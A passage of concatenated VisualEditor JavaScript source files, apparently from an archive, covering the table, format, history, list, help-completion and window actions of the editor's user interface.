				txBuilders.push( this.decrementSpan( cell.owner, mode, minIndex, maxIndex ) );
				adapted[ key ] = true;
			}
			continue;
		}

		// Detect if the owner of a spanning cell gets deleted and
		// leaves orphaned placeholders
		var span = cell.node.getSpans()[ mode ];
		if ( cell[ mode ] + span - 1 > maxIndex ) {
			var startRow, startCol;
			// add inserts for orphaned place holders
			if ( mode === 'col' ) {
				startRow = cell.row;
				startCol = maxIndex + 1;
			} else {
				startRow = maxIndex + 1;
				startCol = cell.col;
			}
			var endRow = cell.row + cell.node.getRowspan() - 1;
			var endCol = cell.col + cell.node.getColspan() - 1;

			// Record the insertion to apply it later
			actions.push( {
				action: 'insert',
				cell: matrix.getCell( startRow, startCol ),
				colspan: 1 + endCol - startCol,
				rowspan: 1 + endRow - startRow,
				style: cell.node.getStyle(),
				content: documentModel.getData( cell.node.getRange() )
			} );
		}

		// Cell nodes only get deleted when deleting columns (otherwise row nodes)
		if ( mode === 'col' ) {
			actions.push( { action: 'delete', cell: cell } );
		}
	}

	// Make sure that the actions are in descending offset order
	// so that the transactions do not affect subsequent range offsets.
	// Sort recorded actions to make sure the transactions will not interfere with respect to offsets
	actions.sort( function ( a, b ) {
		return ve.dm.TableMatrixCell.static.sortDescending( a.cell, b.cell );
	} );

	if ( mode === 'row' ) {
		// First replace orphaned placeholders which are below the last deleted row,
		// thus, this works with regard to transaction offsets
		for ( i = 0; i < actions.length; i++ ) {
			txBuilders.push( this.replacePlaceholder( matrix, actions[ i ].cell, actions[ i ] ) );
		}
		// Remove rows in reverse order to have valid transaction offsets
		for ( row = maxIndex; row >= minIndex; row-- ) {
			var rowNode = matrix.getRowNode( row );
			if ( !rowNode ) {
				continue;
			}
			txBuilders.push( ve.dm.TransactionBuilder.static.newFromRemoval.bind( null, documentModel, rowNode.getOuterRange() ) );

			// Store removed data for moving
			cells = matrix.getRow( row );
			var rowRange = rowNode.getOuterRange();
			var rowData = documentModel.getData( new ve.Range( rowRange.start, rowRange.start + 1 ), true ).concat(
				documentModel.getData( new ve.Range( rowRange.end - 1, rowRange.end ), true )
			);
			// Remove all but start and end tags
			rowData.splice( 1, rowData.length - 2 );
			removedMatrix[ row - minIndex ] = {
				row: rowData,
				cells: cells.map( function ( ce ) {
					if ( ce && !ce.isPlaceholder() ) {
						ce.data = documentModel.getData( ce.node.getOuterRange(), true );
						// When re-insterted the span can not exceed the size of the selection
						if ( ce.data[ 0 ].attributes.rowspan > 1 + maxIndex - minIndex ) {
							ce.data = null;
						}
					}
					return ce;
				} )
			};
		}
	} else {
		for ( i = 0; i < actions.length; i++ ) {
			if ( actions[ i ].action === 'insert' ) {
				txBuilders.push( this.replacePlaceholder( matrix, actions[ i ].cell, actions[ i ] ) );
			} else {
				txBuilders.push( ve.dm.TransactionBuilder.static.newFromRemoval.bind( null, documentModel, actions[ i ].cell.node.getOuterRange() ) );
				col = actions[ i ].cell.col - minIndex;
				actions[ i ].cell.data = documentModel.getData( actions[ i ].cell.node.getOuterRange(), true );
			}
		}
		for ( col = maxIndex; col >= minIndex; col-- ) {
			removedMatrix[ col - minIndex ] = {
				cells: matrix.getColumn( col ).map( function ( c ) {
					if ( c && !c.isPlaceholder() ) {
						c.data = documentModel.getData( c.node.getOuterRange(), true );
						// When re-insterted the span can not exceed the size of the selection
						if ( c.data[ 0 ].attributes.colspan > 1 + maxIndex - minIndex ) {
							c.data = null;
						}
					}
					return c;
				} )
			};
		}
	}
	surfaceModel.change( null, new ve.dm.NullSelection() );
	txBuilders.forEach( function ( txBuilder ) {
		surfaceModel.change( txBuilder() );
	} );
	return removedMatrix;
};

/**
 * Inserts a new cell for an orphaned placeholder.
 *
 * @param {ve.dm.TableMatrix} matrix Table matrix
 * @param {ve.dm.TableMatrixCell} placeholder Placeholder cell to replace
 * @param {Object} [options] Options to pass to ve.dm.TableCellNode.static.createData
 * @return {Function} Zero-argument function returning a ve.dm.Transaction
 */
ve.ui.TableAction.prototype.replacePlaceholder = function ( matrix, placeholder, options ) {
	// For inserting the new cell a reference cell node
	// which is used to get an insertion offset.
	var refCell = matrix.findClosestCell( placeholder );

	var range, offset;
	if ( refCell ) {
		range = refCell.node.getOuterRange();
		offset = ( placeholder.col < refCell.col ) ? range.start : range.end;
	} else {
		var rowNode = matrix.getRowNode( placeholder.row );
		if ( !rowNode ) {
			return function () {
				return null;
			};
		}
		// if there are only placeholders in the row, the row node's inner range is used
		range = rowNode.getRange();
		offset = range.start;
	}
	var data = ve.dm.TableCellNode.static.createData( options );
	var surfaceModel = this.surface.getModel();
	return ve.dm.TransactionBuilder.static.newFromInsertion.bind( null, surfaceModel.getDocument(), offset, data );
};

/**
 * Find the closest table node to the current selection
 *
 * This method is model-only.
 *
 * @return {ve.dm.TableNode|null} The closest table node, null if not found
 */
ve.ui.TableAction.prototype.findClosestTableNode = function () {
	var surfaceModel = this.surface.getModel(),
		documentModel = surfaceModel.getDocument(),
		selection = this.surface.getModel().getSelection();

	if ( selection instanceof ve.dm.TableSelection ) {
		return selection.getTableNode( documentModel );
	} else if ( selection instanceof ve.dm.LinearSelection ) {
		var node = documentModel.getBranchNodeFromOffset( selection.getRange().start );
		if ( node ) {
			return node.findParent( ve.dm.TableNode );
		}
	}

	return null;
};

/**
 * Find the closest table view node to the current selection
 *
 * @return {ve.ce.TableNode|null} The closest table view, null if not found
 */
ve.ui.TableAction.prototype.findClosestTableViewNode = function () {
	var tableNode = this.findClosestTableNode();

	if ( tableNode ) {
		return this.surface.getView().getDocument().getBranchNodeFromOffset( tableNode.getRange().start );
	}

	return null;
};

/**
 * Get a TableSelection that contains the current selection
 *
 * This method is model-only.
 *
 * @return {ve.dm.TableSelection|null} The closest TableSelection, null if not found
 */
ve.ui.TableAction.prototype.getTableSelectionFromSelection = function () {
	// If the current selection is contained within a table, we'd like the relevant TableSelection.
	var surfaceModel = this.surface.getModel(),
		selection = surfaceModel.getSelection();

	if ( selection instanceof ve.dm.TableSelection ) {
		return selection;
	} else if ( selection instanceof ve.dm.LinearSelection ) {
		var tableNode = this.findClosestTableNode();
		if ( !tableNode ) {
			return null;
		}

		var documentModel = surfaceModel.getDocument();
		var node = documentModel.getBranchNodeFromOffset( selection.getRange().start );
		if ( !node ) {
			return null;
		}

		var cellNode = node.findParent( ve.dm.TableCellNode );
		if ( !cellNode ) {
			return null;
		}

		var cell = tableNode.getMatrix().lookupCell( cellNode );
		if ( !cell ) {
			return null;
		}

		selection = new ve.dm.TableSelection(
			tableNode.getOuterRange(),
			cell.col, cell.row
		);
		return selection.expand( documentModel );
	}

	return null;
};

/* Registration */

ve.ui.actionFactory.register( ve.ui.TableAction );
ui/actions/ve.ui.FormatAction.js000066600000005075151334753760012623 0ustar00/*!
 * VisualEditor UserInterface FormatAction class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Format action.
 *
 * @class
 * @extends ve.ui.Action
 *
 * @constructor
 * @param {ve.ui.Surface} surface Surface to act on
 * @param {string} [source]
 */
ve.ui.FormatAction = function VeUiFormatAction() {
	// Parent constructor
	ve.ui.FormatAction.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ui.FormatAction, ve.ui.Action );

/* Static Properties */

ve.ui.FormatAction.static.name = 'format';

ve.ui.FormatAction.static.methods = [ 'convert' ];

/* Methods */

/**
 * Convert the format of content.
 *
 * Conversion splits and unwraps all lists and replaces content branch nodes.
 *
 * TODO: Refactor functionality into {ve.dm.SurfaceFragment}.
 *
 * @param {string} type
 * @param {Object} attributes
 * @return {boolean} Action was executed
 */
ve.ui.FormatAction.prototype.convert = function ( type, attributes ) {
	var surfaceModel = this.surface.getModel(),
		fragment = surfaceModel.getFragment(),
		fragmentSelection = fragment.getSelection();

	if ( !( fragmentSelection instanceof ve.dm.LinearSelection ) ) {
		return;
	}

	var fragments = [];
	var i, length;
	// We can't have headings or pre's in a list, so if we're trying to convert
	// things that are in lists to a heading or a pre, split the list
	var selected = fragment.getLeafNodes();
	for ( i = 0, length = selected.length; i < length; i++ ) {
		var contentBranch = selected[ i ].node.isContent() ?
			selected[ i ].node.getParent() :
			selected[ i ].node;

		fragments.push( surfaceModel.getLinearFragment( contentBranch.getOuterRange(), true ) );
	}

	for ( i = 0, length = fragments.length; i < length; i++ ) {
		fragments[ i ].isolateAndUnwrap( type );
	}

	fragment.convertNodes( type, attributes );
	if ( fragmentSelection.isCollapsed() ) {
		// Converting an empty node needs a small selection fixup afterwards,
		// otherwise the selection will be displayed outside the new empty
		// node. This causes issues with the display of the current format in
		// the toolbar, and with hitting enter if no content is entered. Don't
		// always reapply the selection, because the automatic behavior is
		// better if isolateAndUnwrap has actually acted. (T151594)
		surfaceModel.setSelection( fragmentSelection );
	}
	this.surface.getView().focus();

	ve.track( 'activity.format', { action: type + ( attributes && attributes.level ? ( '-' + attributes.level ) : '' ) } );

	return true;
};

/* Registration */

ve.ui.actionFactory.register( ve.ui.FormatAction );
ui/actions/ve.ui.HistoryAction.js000066600000002110151334753760013017 0ustar00/*!
 * VisualEditor UserInterface HistoryAction class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * History action.
 *
 * @class
 * @extends ve.ui.Action
 *
 * @constructor
 * @param {ve.ui.Surface} surface Surface to act on
 * @param {string} [source]
 */
ve.ui.HistoryAction = function VeUiHistoryAction() {
	// Parent constructor
	ve.ui.HistoryAction.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ui.HistoryAction, ve.ui.Action );

/* Static Properties */

ve.ui.HistoryAction.static.name = 'history';

ve.ui.HistoryAction.static.methods = [ 'undo', 'redo' ];

/* Methods */

/**
 * Step backwards in time.
 *
 * @return {boolean} Action was executed
 */
ve.ui.HistoryAction.prototype.undo = function () {
	this.surface.getModel().undo();
	return true;
};

/**
 * Step forwards in time.
 *
 * @return {boolean} Action was executed
 */
ve.ui.HistoryAction.prototype.redo = function () {
	this.surface.getModel().redo();
	return true;
};

/* Registration */

ve.ui.actionFactory.register( ve.ui.HistoryAction );
ui/actions/ve.ui.ListAction.js000066600000013266151334753760012307 0ustar00/*!
 * VisualEditor UserInterface ListAction class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * List action.
 *
 * @class
 * @extends ve.ui.Action
 * @constructor
 * @param {ve.ui.Surface} surface Surface to act on
 * @param {string} [source]
 */
ve.ui.ListAction = function VeUiListAction() {
	// Parent constructor
	ve.ui.ListAction.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ui.ListAction, ve.ui.Action );

/* Static Properties */

ve.ui.ListAction.static.name = 'list';

ve.ui.ListAction.static.methods = [ 'wrap', 'unwrap', 'toggle', 'wrapOnce' ];

/* Methods */

/**
 * Check if the current selection is wrapped in a list of a given style
 *
 * @param {string|null} style List style, e.g. 'number' or 'bullet', or null for any style
 * @param {string} [listType='list'] List type
 * @return {boolean} Current selection is all wrapped in a list
 */
ve.ui.ListAction.prototype.allWrapped = function ( style, listType ) {
	listType = listType || 'list';
	var attributes = style ? { style: style } : undefined;
	return this.surface.getModel().getFragment().hasMatchingAncestor( listType, attributes, true );
};

/**
 * Toggle a list around content.
 *
 * @param {string} style List style, e.g. 'number' or 'bullet'
 * @param {boolean} noBreakpoints Don't create breakpoints
 * @param {string} [listType='list'] List type
 * @return {boolean} Action was executed
 */
ve.ui.ListAction.prototype.toggle = function ( style, noBreakpoints, listType ) {
	if ( this.allWrapped( style, listType ) ) {
		return this.unwrap( noBreakpoints, listType );
	} else {
		return this.wrap( style, noBreakpoints, listType );
	}
};

/**
 * Add a list around content only if it has no list already.
 *
 * @param {string} style List style, e.g. 'number' or 'bullet'
 * @param {boolean} noBreakpoints Don't create breakpoints
 * @param {string} [listType='list'] List type
 * @return {boolean} Action was executed
 */
ve.ui.ListAction.prototype.wrapOnce = function ( style, noBreakpoints, listType ) {
	// Check for a list of any style
	if ( !this.allWrapped( null, listType ) ) {
		return this.wrap( style, noBreakpoints, listType );
	}
	return false;
};

/**
 * Add a list around content.
 *
 * TODO: Refactor functionality into {ve.dm.SurfaceFragment}.
 *
 * @param {string} style List style, e.g. 'number' or 'bullet'
 * @param {boolean} noBreakpoints Don't create breakpoints
 * @param {string} [listType='list'] List type
 * @return {boolean} Action was executed
 */
ve.ui.ListAction.prototype.wrap = function ( style, noBreakpoints, listType ) {
	var surfaceModel = this.surface.getModel(),
		selection = surfaceModel.getSelection();

	if ( !( selection instanceof ve.dm.LinearSelection ) ) {
		return false;
	}

	listType = listType || 'list';

	if ( !noBreakpoints ) {
		surfaceModel.breakpoint();
	}

	var documentModel = surfaceModel.getDocument();
	var range = selection.getRange();

	// TODO: Would be good to refactor at some point and avoid/abstract path split for block slug
	// and not block slug.
	if (
		range.isCollapsed() &&
		!documentModel.data.isContentOffset( range.to ) &&
		documentModel.hasSlugAtOffset( range.to )
	) {
		// Inside block level slug
		var fragment = surfaceModel.getFragment( null, true )
			.insertContent( [
				{ type: 'paragraph' },
				{ type: '/paragraph' }
			] )
			.collapseToStart()
			.adjustLinearSelection( 1, 1 )
			.select();
		range = fragment.getSelection().getRange();
	}

	var previousList;
	var groups = documentModel.getCoveredSiblingGroups( range );
	for ( var i = 0; i < groups.length; i++ ) {
		var group = groups[ i ];
		// TODO: Allow conversion between different list types
		if ( group.grandparent && group.grandparent.getType() === listType ) {
			if ( group.grandparent !== previousList ) {
				surfaceModel.getLinearFragment( group.grandparent.getOuterRange(), true )
					// Change the list style
					.changeAttributes( { style: style } );
				previousList = group.grandparent;
			}
		} else {
			// Get a range that covers the whole group
			var groupRange = new ve.Range(
				group.nodes[ 0 ].getOuterRange().start,
				group.nodes[ group.nodes.length - 1 ].getOuterRange().end
			);
			var element = { type: listType };
			if ( style ) {
				element.attributes = { style: style };
			}
			var itemElement = ve.dm.modelRegistry.lookup( listType ).static.createItem();
			surfaceModel.getLinearFragment( groupRange, true )
				// Convert everything to paragraphs first
				.convertNodes( 'paragraph', null, { generated: 'wrapper' } )
				// Wrap everything in a list and each content branch in a listItem
				.wrapAllNodes( element, itemElement );
		}
	}

	if ( !noBreakpoints ) {
		surfaceModel.breakpoint();
	}
	return true;
};

/**
 * Remove list around content.
 *
 * TODO: Refactor functionality into {ve.dm.SurfaceFragment}.
 *
 * @param {boolean} noBreakpoints Don't create breakpoints
 * @param {string} [listType='list'] List type
 * @return {boolean} Action was executed
 */
ve.ui.ListAction.prototype.unwrap = function ( noBreakpoints, listType ) {
	var surfaceModel = this.surface.getModel();

	if ( !( surfaceModel.getSelection() instanceof ve.dm.LinearSelection ) ) {
		return false;
	}

	if ( !noBreakpoints ) {
		surfaceModel.breakpoint();
	}

	var indentationAction = ve.ui.actionFactory.create( 'indentation', this.surface );
	var documentModel = surfaceModel.getDocument();

	listType = listType || 'list';

	var node;
	do {
		node = documentModel.getBranchNodeFromOffset( surfaceModel.getSelection().getRange().start );
	} while ( node.hasMatchingAncestor( listType ) && indentationAction.decrease() );

	if ( !noBreakpoints ) {
		surfaceModel.breakpoint();
	}

	return true;
};

/* Registration */

ve.ui.actionFactory.register( ve.ui.ListAction );
ui/actions/ve.ui.HelpCompletionAction.js000066600000017105151334753760014312 0ustar00/*!
 * VisualEditor UserInterface ve.ui.HelpCompletionAction class.
 *
 * @copyright 2011-2021 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * HelpCompletionAction action.
 *
 * Controls autocompletion of anything from the help panel
 *
 * @class
 * @extends ve.ui.CompletionAction
 * @constructor
 * @param {ve.ui.Surface} surface Surface to act on
 * @param {string} [source]
 */
ve.ui.HelpCompletionAction = function ( surface ) {
	var action = this;

	// Parent constructor
	ve.ui.HelpCompletionAction.super.apply( this, arguments );

	this.toolbar = surface.target.getToolbar();
	this.tools = this.toolbar.tools;
	this.toolNames = Object.keys( this.tools ).filter( function ( toolName ) {
		var tool = action.tools[ toolName ];
		return tool &&
			// No point in going in circles
			!( tool instanceof ve.ui.HelpCompletionTool ) &&
			// Ignore tool groups
			!( tool instanceof OO.ui.ToolGroupTool ) &&
			!( tool instanceof OO.ui.PopupTool );
	} );
	// Push the "format" group to the bottom because it's rarely-needed
	this.toolNames.sort( function ( a, b ) {
		var aGroup = action.tools[ a ].constructor.static.group;
		var bGroup = action.tools[ b ].constructor.static.group;
		if ( aGroup === bGroup ) {
			// preserve order
			return 0;
		}
		if ( aGroup === 'format' ) {
			return 1;
		}
		if ( bGroup === 'format' ) {
			return -1;
		}
		// preserve order
		return 0;
	} );
};

/* Inheritance */

OO.inheritClass( ve.ui.HelpCompletionAction, ve.ui.CompletionAction );

/* Static Properties */

ve.ui.HelpCompletionAction.static.name = 'HelpCompletion';

ve.ui.HelpCompletionAction.static.alwaysIncludeInput = false;

ve.ui.HelpCompletionAction.static.defaultLimit = 99;

/**
 * Definitions of the groups that tools can fall into
 *
 * Tools in a group whose name doesn't appear here will be placed
 * in "other" gruop.
 * The `title` field is used to place a label above the tools
 * in the widget.
 * `mergeWith` references a different group to add these
 * tools to.
 * `weight` can be used to move groups up or down the list.
 * Higher values will appear at the top. The default is 0.
 */
ve.ui.HelpCompletionAction.static.toolGroups = {
	textStyle: {
		title: OO.ui.deferMsg( 'visualeditor-shortcuts-text-style' )
	},
	meta: {
		mergeWith: 'insert'
	},
	object: {
		mergeWith: 'insert'
	},
	format: {
		title: OO.ui.deferMsg( 'visualeditor-shortcuts-formatting' ),
		weight: -2
	},
	dialog: {
		title: OO.ui.deferMsg( 'visualeditor-shortcuts-dialog' )
	},
	other: {
		title: OO.ui.deferMsg( 'visualeditor-shortcuts-other' ),
		weight: -1
	},
	history: {
		title: OO.ui.deferMsg( 'visualeditor-shortcuts-history' ),
		weight: -3
	},
	structure: {
		title: OO.ui.deferMsg( 'visualeditor-toolbar-structure' )
	},
	insert: {
		title: OO.ui.deferMsg( 'visualeditor-shortcuts-insert' ),
		weight: 1
	}
};

/* Methods */

ve.ui.HelpCompletionAction.prototype.open = function ( isolateInput ) {
	if ( !isolateInput ) {
		var action = this;
		// Remove undo/redo when inputting in the surface, don't just
		// show them as disabled (they are still available in the toolbar)
		// TODO: One would need to completely ignore the history
		// stack since before the action was triggered to use
		// undo/redo from here. Might not be worth the effort.
		this.toolNames = this.toolNames.filter( function ( toolName ) {
			var tool = action.tools[ toolName ];
			return !( tool instanceof ve.ui.HistoryTool );
		} );
	}

	return ve.ui.HelpCompletionAction.super.prototype.open.apply( this, arguments );
};

ve.ui.HelpCompletionAction.prototype.getToolIndex = function ( toolName ) {
	var tool = this.tools[ toolName ];
	var toolGroups = this.constructor.static.toolGroups;
	var group = this.getGroupForTool( tool );
	return OO.ui.resolveMsg( toolGroups[ group ].title ) + ' ' + tool.getTitle();
};

ve.ui.HelpCompletionAction.prototype.getSuggestions = function ( input ) {
	return ve.createDeferred().resolve( this.filterSuggestionsForInput(
		this.toolNames,
		input
	) );
};

ve.ui.HelpCompletionAction.prototype.compareSuggestionToInput = function ( suggestion, normalizedInput ) {
	var normalizedSuggestion = this.getToolIndex( suggestion ).toLowerCase();

	return {
		isMatch: normalizedSuggestion.indexOf( normalizedInput ) !== -1,
		// isExact is only used when 'alwaysIncludeInput' is set
		isExact: false
	};
};

ve.ui.HelpCompletionAction.prototype.getMenuItemForSuggestion = function ( toolName ) {
	var tool = this.tools[ toolName ];
	return new OO.ui.MenuOptionWidget( {
		data: tool,
		label: tool.getTitle(),
		// HACK: an invalid icon name will render as a spacer for alignment
		icon: tool.getIcon() || tool.constructor.static.fallbackIcon || '_',
		disabled: tool.isDisabled()
	} );
};

/**
 * Get the group associated with a tool, resolving any mergeWith redirects
 *
 * @param {ve.ui.Tool} tool Tool
 * @return {string} Group name
 */
ve.ui.HelpCompletionAction.prototype.getGroupForTool = function ( tool ) {
	var toolGroups = this.constructor.static.toolGroups;
	var group = tool.constructor.static.group;
	if ( toolGroups[ group ] ) {
		if ( toolGroups[ group ].mergeWith ) {
			group = toolGroups[ group ].mergeWith;
		}
	} else {
		group = 'other';
	}
	return group;
};

ve.ui.HelpCompletionAction.prototype.updateMenuItems = function ( menuItems ) {
	var action = this;
	var menuItemsByGroup = {};
	var toolGroups = this.constructor.static.toolGroups;
	menuItems.forEach( function ( menuItem ) {
		var tool = menuItem.getData();
		var group = action.getGroupForTool( tool );
		menuItemsByGroup[ group ] = menuItemsByGroup[ group ] || [];
		menuItemsByGroup[ group ].push( menuItem );
	} );
	var newMenuItems = [];
	var groups = Object.keys( menuItemsByGroup );
	groups.sort( function ( a, b ) {
		var weightA = toolGroups[ a ].weight || 0;
		var weightB = toolGroups[ b ].weight || 0;
		return weightB - weightA;
	} );
	groups.forEach( function ( group ) {
		newMenuItems.push(
			new OO.ui.MenuSectionOptionWidget( {
				label: toolGroups[ group ].title
			} )
		);
		ve.batchPush( newMenuItems, menuItemsByGroup[ group ] );
	} );
	return newMenuItems;
};

ve.ui.HelpCompletionAction.prototype.chooseItem = function ( item, range ) {
	// We're completely ignoring the idea that we should be "inserting" anything...
	// Instead, we run the command that was chosen.

	var fragment = this.surface.getModel().getLinearFragment( range, true );
	fragment.removeContent();
	fragment.collapseToEnd();

	var tool = item.getData();
	// Wait for completion widget to close, as the selected tool may
	// trigger another completion widget.
	setTimeout( function () {
		tool.onSelect();
	} );

	return true;
};

/* Registration */

ve.ui.actionFactory.register( ve.ui.HelpCompletionAction );

ve.ui.commandRegistry.register( new ve.ui.Command(
	'openHelpCompletions', ve.ui.HelpCompletionAction.static.name, 'open',
	{ supportedSelections: [ 'linear' ] }
) );
ve.ui.commandRegistry.register( new ve.ui.Command(
	'openHelpCompletionsTrigger', ve.ui.HelpCompletionAction.static.name, 'open',
	{ supportedSelections: [ 'linear', 'table' ], args: [ true ] }
) );

ve.ui.sequenceRegistry.register( new ve.ui.Sequence( 'autocompleteHelpCommands', 'openHelpCompletions', '\\', 0 ) );

ve.ui.triggerRegistry.register(
	'openHelpCompletionsTrigger', {
		// Firefox already uses [ctrl/cmd]+shift+p
		mac: [
			new ve.ui.Trigger( 'cmd+shift+p' ),
			new ve.ui.Trigger( 'cmd+alt+shift+p' )
		],
		pc: [
			new ve.ui.Trigger( 'ctrl+shift+p' ),
			new ve.ui.Trigger( 'ctrl+alt+shift+p' )
		]
	}
);

ve.ui.commandHelpRegistry.register( 'other', 'openHelpCompletions', {
	trigger: 'openHelpCompletionsTrigger',
	sequences: [ 'autocompleteHelpCommands' ],
	label: OO.ui.deferMsg( 'visualeditor-toolbar-search-help-label' )
} );
ui/actions/ve.ui.WindowAction.js000066600000021034151334753760012633 0ustar00/*!
 * VisualEditor UserInterface WindowAction class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Window action.
 *
 * @class
 * @extends ve.ui.Action
 * @constructor
 * @param {ve.ui.Surface} surface Surface to act on
 * @param {string} [source]
 */
ve.ui.WindowAction = function VeUiWindowAction() {
	// Parent constructor
	ve.ui.WindowAction.super.apply( this, arguments );
};

/* Inheritance */

OO.inheritClass( ve.ui.WindowAction, ve.ui.Action );

/* Static Properties */

ve.ui.WindowAction.static.name = 'window';

ve.ui.WindowAction.static.methods = [ 'open', 'close', 'toggle' ];

/* Methods */

/**
 * Open a window.
 *
 * @param {string} name Symbolic name of window to open
 * @param {Object} [data] Window opening data
 * @param {string} [action] Action to execute after opening, or immediately if the window is already open
 * @return {boolean|jQuery.Promise} Action was executed; if a Promise, it'll resolve once the action is finished executing
 */
ve.ui.WindowAction.prototype.open = function ( name, data, action ) {
	data = data || {};
	var windowAction = this,
		windowType = this.getWindowType( name ),
		windowManager = windowType && this.getWindowManager( windowType ),
		currentWindow = windowManager.getCurrentWindow(),
		autoClosePromises = [],
		surface = this.surface,
		surfaceFragment = data.fragment || surface.getModel().getFragment( undefined, true ),
		dir = surface.getView().getSelectionDirectionality(),
		windowClass = ve.ui.windowFactory.lookup( name ),
		isFragmentWindow = !!windowClass.prototype.getFragment,
		mayRequireFragment = isFragmentWindow ||
			// HACK: Pass fragment to toolbar dialogs as well
			windowType === 'toolbar',
		// TODO: Add 'doesHandleSource' method to factory
		sourceMode = surface.getMode() === 'source' && !windowClass.static.handlesSource,
		openDeferred = ve.createDeferred(),
		openPromise = openDeferred.promise();

	ve.track(
		'activity.' + name,
		{ action: 'window-open-from-' + ( this.source || 'command' ) }
	);

	if ( !windowManager ) {
		return false;
	}

	var fragmentPromise;
	var originalFragment;
	if ( !mayRequireFragment ) {
		fragmentPromise = ve.createDeferred().resolve().promise();
	} else if ( sourceMode ) {
		var text = surfaceFragment.getText( true );
		originalFragment = surfaceFragment;

		fragmentPromise = surfaceFragment.convertFromSource( text ).then( function ( selectionDocument ) {
			var tempSurfaceModel = new ve.dm.Surface( selectionDocument ),
				tempFragment = tempSurfaceModel.getLinearFragment(
					// TODO: Select all content using content offset methods
					new ve.Range(
						1,
						Math.max( 1, selectionDocument.getDocumentRange().end - 1 )
					)
				);

			return tempFragment;
		} );
	} else {
		fragmentPromise = ve.createDeferred().resolve( surfaceFragment ).promise();
	}

	data = ve.extendObject( { dir: dir }, data, { surface: surface, $returnFocusTo: null } );

	if ( windowType === 'toolbar' || windowType === 'inspector' ) {
		// Auto-close the current window if it is different to the one we are
		// trying to open.
		// TODO: Make auto-close a window manager setting
		if ( currentWindow && currentWindow.constructor.static.name !== name ) {
			autoClosePromises.push( windowManager.closeWindow( currentWindow ).closed );
		}
	}

	// If we're opening a dialog, close all inspectors first
	if ( windowType === 'dialog' ) {
		var inspectorWindowManager = windowAction.getWindowManager( 'inspector' );
		var currentInspector = inspectorWindowManager.getCurrentWindow();
		if ( currentInspector ) {
			autoClosePromises.push( inspectorWindowManager.closeWindow( currentInspector ).closed );
		}
	}

	fragmentPromise.then( function ( fragment ) {
		ve.extendObject( data, { fragment: fragment } );

		ve.promiseAll( autoClosePromises ).always( function () {
			windowManager.getWindow( name ).then( function ( win ) {
				var instance = windowManager.openWindow( win, data );

				if ( sourceMode ) {
					win.sourceMode = sourceMode;
				}

				if ( !win.constructor.static.activeSurface ) {
					surface.getView().deactivate( false );
				}

				instance.opened.then( function () {
					if ( sourceMode ) {
						// HACK: initialFragment/previousSelection is assumed to be in the visible surface
						win.initialFragment = null;
						win.previousSelection = null;
					}
				} );
				instance.opened.always( function () {
					// This uses .always() so that the action is executed even if the window is already open
					// (in which case opening it again fails). Hopefully we'll never have a situation where
					// it's closed, the opening fails for some reason, and then weird things happen.
					if ( action ) {
						win.executeAction( action );
					}
					openDeferred.resolve( instance );
				} );

				if ( !win.constructor.static.activeSurface ) {
					windowManager.once( 'closing', function () {
						// Collapsed mobile selection: We need to re-activate the surface in case an insertion
						// annotation was generated. We also need to do it during the same event cycle otherwise
						// the device may not open the virtual keyboard, so use the 'closing' event. (T203517)
						if ( OO.ui.isMobile() && surface.getModel().getSelection().isCollapsed() ) {
							surface.getView().activate();
						} else {
							// Otherwise use the closing promise to wait until the dialog has performed its actions,
							// such as creating new annotations, before re-activating.
							instance.closing.then( function () {
								// Don't activate if mobile and expanded
								if ( !( OO.ui.isMobile() && !surface.getModel().getSelection().isCollapsed() ) ) {
									surface.getView().activate();
								}
							} );
						}
					} );
				}

				instance.closed.then( function ( closedData ) {
					// Sequence-triggered window closed without action, undo
					if ( data.strippedSequence && !( closedData && closedData.action ) ) {
						surface.getModel().undo();
						// Prevent redoing (which would remove the typed text)
						surface.getModel().truncateUndoStack();
						surface.getModel().emit( 'history' );
					}
					if ( sourceMode && fragment && fragment.getSurface().hasBeenModified() ) {
						// Action may be async, so we use auto select to ensure the content is selected
						originalFragment.setAutoSelect( true );
						originalFragment.insertDocument( fragment.getDocument() );
					}
					surface.getView().emit( 'position' );
				} );
			} );
		} );
	} );

	return openPromise;
};

/**
 * Close a window
 *
 * @param {string} name Symbolic name of window to open
 * @param {Object} [data] Window closing data
 * @return {boolean} Action was executed
 */
ve.ui.WindowAction.prototype.close = function ( name, data ) {
	var windowType = this.getWindowType( name ),
		windowManager = windowType && this.getWindowManager( windowType );

	if ( !windowManager ) {
		return false;
	}

	windowManager.closeWindow( name, data );
	return true;
};

/**
 * Toggle a window between open and close
 *
 * @param {string} name Symbolic name of window to open or close
 * @param {Object} [data] Window opening or closing data
 * @return {boolean} Action was executed
 */
ve.ui.WindowAction.prototype.toggle = function ( name, data ) {
	var windowType = this.getWindowType( name ),
		windowManager = windowType && this.getWindowManager( windowType );

	if ( !windowManager ) {
		return false;
	}

	var win = windowManager.getCurrentWindow();
	if ( !win || win.constructor.static.name !== name ) {
		this.open( name, data );
	} else {
		this.close( name, data );
	}
	return true;
};

/**
 * Get the specified window type
 *
 * @param {string} name Window name
 * @return {string|null} Window type: 'inspector', 'toolbar' or 'dialog'
 */
ve.ui.WindowAction.prototype.getWindowType = function ( name ) {
	var windowClass = ve.ui.windowFactory.lookup( name );
	if ( windowClass.prototype instanceof ve.ui.FragmentInspector ) {
		return 'inspector';
	} else if ( windowClass.prototype instanceof ve.ui.ToolbarDialog ) {
		return 'toolbar';
	} else if ( windowClass.prototype instanceof OO.ui.Dialog ) {
		return 'dialog';
	}
	return null;
};

/**
 * Get the window manager for a specified window type
 *
 * @param {Function} windowType Window type: 'inspector', 'toolbar', or 'dialog'
 * @return {ve.ui.WindowManager|null} Window manager
 */
ve.ui.WindowAction.prototype.getWindowManager = function ( windowType ) {
	switch ( windowType ) {
		case 'inspector':
			return this.surface.getContext().getInspectors();
		case 'toolbar':
			return this.surface.getToolbarDialogs();
		case 'dialog':
			return this.surface.getDialogs();
	}
	return null;
};

/* Registration */

ve.ui.actionFactory.register( ve.ui.WindowAction );
ui/actions/ve.ui.CompletionAction.js000066600000015531151334753760013502 0ustar00/*!
